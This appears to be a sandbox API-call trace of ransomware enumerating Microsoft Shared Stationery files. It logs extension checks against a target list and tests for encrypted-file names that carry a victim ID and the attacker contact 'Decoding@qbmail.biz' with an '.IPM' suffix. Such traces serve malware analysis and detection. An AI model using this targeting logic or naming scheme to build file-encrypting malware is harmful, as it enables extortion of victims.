lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0090.605] lstrlenW (lpString=".ppt") returned 4 [0090.605] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0090.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0090.606] lstrlenW (lpString=".zip") returned 4 [0090.606] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0090.606] lstrlenW (lpString=".rar") returned 4 [0090.606] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0090.606] lstrlenW (lpString=".bz2") returned 4 [0090.606] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0090.606] lstrlenW (lpString=".7z") returned 3 [0090.606] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0090.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0090.606] lstrlenW (lpString=".dbf") returned 4 [0090.606] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0090.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0090.606] lstrlenW (lpString=".1cd") returned 4 [0090.606] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0090.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0090.606] lstrlenW (lpString=".jpg") returned 4 [0090.606] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0090.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0090.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0090.607] lstrlenW (lpString=".doc") returned 4 [0090.607] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0090.607] lstrlenW (lpString=".docx") returned 5 [0090.607] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0090.607] lstrlenW (lpString=".pdf") returned 4 [0090.607] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0090.607] lstrlenW (lpString=".xls") returned 4 [0090.607] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0090.607] lstrlenW (lpString=".xlsx") returned 5 [0090.607] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0090.607] lstrlenW (lpString=".ppt") returned 4 [0090.607] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0090.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0090.607] lstrlenW (lpString=".zip") returned 4 [0090.607] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0090.607] lstrlenW (lpString=".rar") returned 4 [0090.608] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0090.608] lstrlenW (lpString=".bz2") returned 4 [0090.608] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0090.608] lstrlenW (lpString=".7z") returned 3 [0090.608] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0090.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0090.608] lstrlenW (lpString=".dbf") returned 4 [0090.608] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0090.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0090.608] lstrlenW (lpString=".1cd") returned 4 [0090.608] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0090.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0090.608] lstrlenW (lpString=".jpg") returned 4 [0090.608] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0090.609] lstrcmpiW (lpString1=".emf", lpString2=".IPM") returned -1 [0090.609] lstrlenW (lpString="Dotted_Lines.emf") returned 16 [0090.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0090.609] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=3792) returned 1 [0090.609] CloseHandle (hObject=0x1d4) returned 1 [0090.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf")) returned 0x20 [0090.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0090.610] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0090.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0090.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0090.610] lstrlenW (lpString=".doc") returned 4 [0090.610] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0090.610] lstrlenW (lpString=".docx") returned 5 [0090.610] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0090.610] lstrlenW (lpString=".pdf") returned 4 [0090.610] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0090.610] lstrlenW (lpString=".xls") returned 4 [0090.610] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0090.610] lstrlenW (lpString=".xlsx") returned 5 [0090.610] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0090.610] lstrlenW (lpString=".ppt") returned 4 [0090.610] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0090.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0090.610] lstrlenW (lpString=".zip") returned 4 [0090.610] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0090.611] lstrlenW (lpString=".rar") returned 4 [0090.611] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0090.611] lstrlenW (lpString=".bz2") returned 4 [0090.611] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0090.611] lstrlenW (lpString=".7z") returned 3 [0090.611] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0090.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0090.611] lstrlenW (lpString=".dbf") returned 4 [0090.611] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0090.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0090.611] lstrlenW (lpString=".1cd") returned 4 [0090.611] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0090.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0090.611] lstrlenW (lpString=".jpg") returned 4 [0090.611] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0090.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0090.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0090.611] lstrlenW (lpString=".doc") returned 4 [0090.611] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0090.611] lstrlenW (lpString=".docx") returned 5 [0090.612] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0090.612] lstrlenW (lpString=".pdf") returned 4 [0090.612] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0090.612] lstrlenW (lpString=".xls") returned 4 [0090.612] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0090.612] lstrlenW (lpString=".xlsx") returned 5 [0090.612] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0090.612] lstrlenW (lpString=".ppt") returned 4 [0090.612] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0090.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0090.612] lstrlenW (lpString=".zip") returned 4 [0090.612] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0090.612] lstrlenW (lpString=".rar") returned 4 [0090.612] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0090.612] lstrlenW (lpString=".bz2") returned 4 [0090.612] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0090.612] lstrlenW (lpString=".7z") returned 3 [0090.612] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0090.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0090.612] lstrlenW (lpString=".dbf") returned 4 [0090.612] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0090.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0090.612] lstrlenW (lpString=".1cd") returned 4 [0090.612] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0090.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0090.613] lstrlenW (lpString=".jpg") returned 4 [0090.613] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0090.613] lstrcmpiW (lpString1=".htm", lpString2=".IPM") returned -1 [0090.613] lstrlenW (lpString="Garden.htm") returned 10 [0090.613] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0090.613] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=231) returned 1 [0090.613] CloseHandle (hObject=0x1d4) returned 1 [0090.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0090.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0090.614] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0090.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0090.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0090.614] lstrlenW (lpString=".doc") returned 4 [0090.614] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0090.614] lstrlenW (lpString=".docx") returned 5 [0090.614] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0090.614] lstrlenW (lpString=".pdf") returned 4 [0090.614] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0090.614] lstrlenW (lpString=".xls") returned 4 [0090.614] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0090.614] lstrlenW (lpString=".xlsx") returned 5 [0090.614] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0090.614] lstrlenW (lpString=".ppt") returned 4 [0090.614] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0090.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0090.614] lstrlenW (lpString=".zip") returned 4 [0090.614] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0090.614] lstrlenW (lpString=".rar") returned 4 [0090.614] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0090.614] lstrlenW (lpString=".bz2") returned 4 [0090.615] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0090.615] lstrlenW (lpString=".7z") returned 3 [0090.615] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0090.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0090.615] lstrlenW (lpString=".dbf") returned 4 [0090.615] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0090.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0090.615] lstrlenW (lpString=".1cd") returned 4 [0090.615] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0090.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0090.615] lstrlenW (lpString=".jpg") returned 4 [0090.615] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0090.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0090.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0090.615] lstrlenW (lpString=".doc") returned 4 [0090.615] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0090.615] lstrlenW (lpString=".docx") returned 5 [0090.615] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0090.615] lstrlenW (lpString=".pdf") returned 4 [0090.615] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0090.615] lstrlenW (lpString=".xls") returned 4 [0090.615] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0090.616] lstrlenW (lpString=".xlsx") returned 5 [0090.616] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0090.616] lstrlenW (lpString=".ppt") returned 4 [0090.616] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0090.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0090.616] lstrlenW (lpString=".zip") returned 4 [0090.616] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0090.616] lstrlenW (lpString=".rar") returned 4 [0090.616] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0090.616] lstrlenW (lpString=".bz2") returned 4 [0090.616] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0090.616] lstrlenW (lpString=".7z") returned 3 [0090.616] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0090.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0090.616] lstrlenW (lpString=".dbf") returned 4 [0090.616] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0090.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0090.616] lstrlenW (lpString=".1cd") returned 4 [0090.616] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0090.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0090.616] lstrlenW (lpString=".jpg") returned 4 [0090.617] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0090.617] lstrcmpiW (lpString1=".jpg", lpString2=".IPM") returned 1 [0090.617] lstrlenW (lpString="Garden.jpg") returned 10 [0090.617] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0090.617] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=23871) returned 1 [0090.618] CloseHandle (hObject=0x1d4) returned 1 [0090.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0090.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0090.622] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0090.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0090.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0090.623] lstrlenW (lpString=".doc") returned 4 [0090.623] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0090.623] lstrlenW (lpString=".docx") returned 5 [0090.623] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0090.623] lstrlenW (lpString=".pdf") returned 4 [0090.623] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0090.623] lstrlenW (lpString=".xls") returned 4 [0090.623] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0090.623] lstrlenW (lpString=".xlsx") returned 5 [0090.623] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0090.623] lstrlenW (lpString=".ppt") returned 4 [0090.623] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0090.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0090.624] lstrlenW (lpString=".zip") returned 4 [0090.624] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0090.624] lstrlenW (lpString=".rar") returned 4 [0090.624] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0090.624] lstrlenW (lpString=".bz2") returned 4 [0090.624] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0090.624] lstrlenW (lpString=".7z") returned 3 [0090.624] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0090.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0090.624] lstrlenW (lpString=".dbf") returned 4 [0090.624] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0090.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0090.624] lstrlenW (lpString=".1cd") returned 4 [0090.624] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0090.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0090.624] lstrlenW (lpString=".jpg") returned 4 [0090.625] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0090.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0090.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0090.625] lstrlenW (lpString=".doc") returned 4 [0090.625] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0090.625] lstrlenW (lpString=".docx") returned 5 [0090.625] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0090.625] lstrlenW (lpString=".pdf") returned 4 [0090.625] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0090.625] lstrlenW (lpString=".xls") returned 4 [0090.625] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0090.625] lstrlenW (lpString=".xlsx") returned 5 [0090.625] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0090.625] lstrlenW (lpString=".ppt") returned 4 [0090.625] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0090.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0090.626] lstrlenW (lpString=".zip") returned 4 [0090.626] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0090.626] lstrlenW (lpString=".rar") returned 4 [0090.626] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0090.626] lstrlenW (lpString=".bz2") returned 4 [0090.626] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0090.626] lstrlenW (lpString=".7z") returned 3 [0090.626] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0090.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0090.626] lstrlenW (lpString=".dbf") returned 4 [0090.626] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0090.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0090.626] lstrlenW (lpString=".1cd") returned 4 [0090.626] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0090.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0090.626] lstrlenW (lpString=".jpg") returned 4 [0090.626] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0090.627] lstrcmpiW (lpString1=".emf", lpString2=".IPM") returned -1 [0090.627] lstrlenW (lpString="Genko_1.emf") returned 11 [0090.627] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0091.490] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=5524) returned 1 [0091.492] CloseHandle (hObject=0x204) returned 1 [0091.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf")) returned 0x20 [0091.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0091.493] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0091.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0091.493] lstrlenW (lpString=".doc") returned 4 [0091.493] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0091.493] lstrlenW (lpString=".docx") returned 5 [0091.494] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0091.494] lstrlenW (lpString=".pdf") returned 4 [0091.494] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0091.494] lstrlenW (lpString=".xls") returned 4 [0091.494] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0091.494] lstrlenW (lpString=".xlsx") returned 5 [0091.494] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0091.494] lstrlenW (lpString=".ppt") returned 4 [0091.494] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0091.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0091.494] lstrlenW (lpString=".zip") returned 4 [0091.494] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0091.494] lstrlenW (lpString=".rar") returned 4 [0091.494] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0091.494] lstrlenW (lpString=".bz2") returned 4 [0091.494] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0091.494] lstrlenW (lpString=".7z") returned 3 [0091.494] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0091.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0091.494] lstrlenW (lpString=".dbf") returned 4 [0091.495] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0091.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0091.495] lstrlenW (lpString=".1cd") returned 4 [0091.495] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0091.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0091.495] lstrlenW (lpString=".jpg") returned 4 [0091.495] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0091.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0091.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0091.495] lstrlenW (lpString=".doc") returned 4 [0091.495] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0091.495] lstrlenW (lpString=".docx") returned 5 [0091.496] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0091.496] lstrlenW (lpString=".pdf") returned 4 [0091.496] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0091.496] lstrlenW (lpString=".xls") returned 4 [0091.496] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0091.496] lstrlenW (lpString=".xlsx") returned 5 [0091.496] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0091.496] lstrlenW (lpString=".ppt") returned 4 [0091.496] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0091.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0091.496] lstrlenW (lpString=".zip") returned 4 [0091.496] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0091.496] lstrlenW (lpString=".rar") returned 4 [0091.496] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0091.496] lstrlenW (lpString=".bz2") returned 4 [0091.496] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0091.496] lstrlenW (lpString=".7z") returned 3 [0091.497] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0091.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0091.497] lstrlenW (lpString=".dbf") returned 4 [0091.497] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0091.497] lstrlenW (lpString="C:\\Program 